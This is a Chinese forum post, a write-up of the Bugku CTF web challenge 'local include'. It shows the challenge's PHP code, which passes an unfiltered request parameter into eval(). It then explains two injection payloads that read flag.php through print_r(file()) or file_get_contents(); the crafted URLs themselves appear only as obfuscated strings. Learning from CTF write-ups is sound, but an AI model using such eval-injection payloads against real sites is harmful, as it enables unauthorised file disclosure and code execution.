-
-
[原创]Bugku-WEB-本地包含
-
发表于: 2018-11-16 05:09 3690
-
本帖来自我的CSDN,不晓得这样算不算原帖,如有违规请联系我整改
这是最近几天刷的题目,望共勉。
题目提示,需要将flag.php包含进去才可以得到flag
百度了一下$_REQUEST函数,发现易存在sql漏洞和变量漏洞覆盖
第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将变量a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)
SO——
(1)a变量由$_REQUEST变量获取,可以用GET或POST方法为hello赋值进而为$a赋值
(2)程序并未对hello的输入进行判断过滤
(3)eval函数中执行的命令进而可以被$a的值所决定
方法一:构造方法来输出flag.php
5cfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5x3#2)9J5k6e0t1H3y4W2)9J5k6e0R3%4i4K6u0W2x3U0b7H3i4K6y4m8z5o6l9H3x3#2)9J5c8W2)9K6c8X3S2W2L8r3I4G2i4K6y4p5i4K6t1&6i4K6y4n7M7s2u0A6L8Y4c8Q4y4h3k6J5i4K6t1^5k6X3W2D9k6g2)9J5z5l9`.`."./flag.php"));%23
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); //eval("var_dump();print_r(file("./flag.php")); show_source(__FILE__); ?>
可以得到flag
方法二:
可以file_get_contents()或者file()函数赋值给hello
构造如下:
570K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5x3#2)9J5k6e0t1H3y4W2)9J5k6e0R3%4i4K6u0W2x3U0b7H3i4K6y4m8z5o6l9H3x3#2)9J5c8W2)9K6c8X3S2W2L8r3I4G2i4K6y4p5k6X3W2D9k6g2)9J5z5q4)9J5y4e0t1J5i4K6u0W2i4K6u0r3k6X3I4S2k6#2)9J5k6i4m8Z5M7q4)9J5y4e0t1J5i4K6t1&6
由于file_get_contents()函数是将文件的整个内容读入到一个字符串中
所以爆出的页面如下
按下F12可以查看string(84)中的内容